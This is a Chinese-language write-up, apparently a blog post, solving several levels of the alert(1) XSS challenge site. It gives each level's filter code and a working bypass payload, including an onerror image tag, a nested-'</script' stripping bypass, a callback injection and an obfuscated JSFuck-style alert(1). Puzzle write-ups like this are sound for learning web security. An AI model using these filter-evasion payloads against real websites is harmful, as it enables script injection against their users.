接續昨天的 XSS Lab(2)-1,今天繼續解 https://alf.nu/alert1
題目:
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}
expandTemplate
自己實作了 template string 的功能
template
字串中找到 {變數名稱}
,替換為 args[變數名稱]
<>&"'
會跳脫成 HTML Entity 的格式解題:
<
的十六進制為 \x3c
>
的十六進制為 \x3e
ANS:
\x3cimg src=1 onerror=alert(1)\x3e
題目:
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
JSON.stringify
會將 JavaScript 變數轉化為 JSON 格式的字串,本題會先將輸入值丟入 JSON.stringify
,接著還會從中找出所有 </script
字串(大小寫不論),替換為空字串解題:
JSON.stringify
會令我們無法直接使用 "
和 )
閉合前面的 console.log
,但當語法錯誤時,瀏覽器傾向於將 </script>
優先處理,並顯示前面的字串並未閉合的錯誤。
Error: SyntaxError: "" literal not terminated before end of script
因此我們不需要跳脫"
和 )
,只要能夠構造出 </script>
即可。本題雖然會將 </script
替換為空字串,但由於沒有反覆檢查,只需要讓 </script
刪除後會產生新的 </script
即可,例如 </</scriptscript
。
成功使用 </script
跳脫後,只要再開一個新的 script 元素,並將後面多餘文字註解即可。
ANS:
</</scriptscript><script>alert(1);//
題目:
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}
callback
和 userdata
,使用 #
隔開callback
是否僅由字母、 [
、]
、'
所組成userdata
放入 obj
,建構成一個 Object,再放入 JSON.stringify
轉換為 JSON 字串 json
。json
字串中是否有 /
,若有,則全部跳脫為 \/
"<script>" + thing[0] + "(" + json +")</script>"
解法:
根據最後的輸出,可以看到題目是預期我們呼叫 callback
函數,並將 userdata
嵌入到 JSON 字串中作為參數。
隨便輸入一點字,較容易理解,例如 aaaa#bbbb
會輸出:
<script>aaaa({"userdata":"bbbb"})</script>
在 JavaScript 裡, 一個 expression 可以直接作為 statement ,例如 1 + 3;
和 console.log('baba');
都是有效的 statement。本題我們可以利用這個特性,在 callback 中輸入 '
,在 userdata
中同樣輸入 '
,即可將中間的 ({"userdata":"
全部變成字串,接著用分號直接結束這個 statement,即可在後方輸入其他指令,如下所示:
/* 我是字串 */
<script> '({"userdata":"'; alert(1); "})</script>
接下來將後面多餘文字註解掉即可。
ANS:
'#';alert(1)<!--
題目:
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
s
是否有包含 <
或 >
,有的話直接 return -
解題:
console.log
可以用 ");
直接跳脫。alert(1)
:
obj.prop
存取,也可以用 obj['prop']
存取。Object
而來,包含 Number
, Array
, Function
都是。\000
。""
有 at
function
""['\141\164']
"".at.constructor('alert(1)')
""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')
()
執行,最後再註解後方文字即可ANS:
"); ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
()+[]!
來表示所有 JS 語法
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//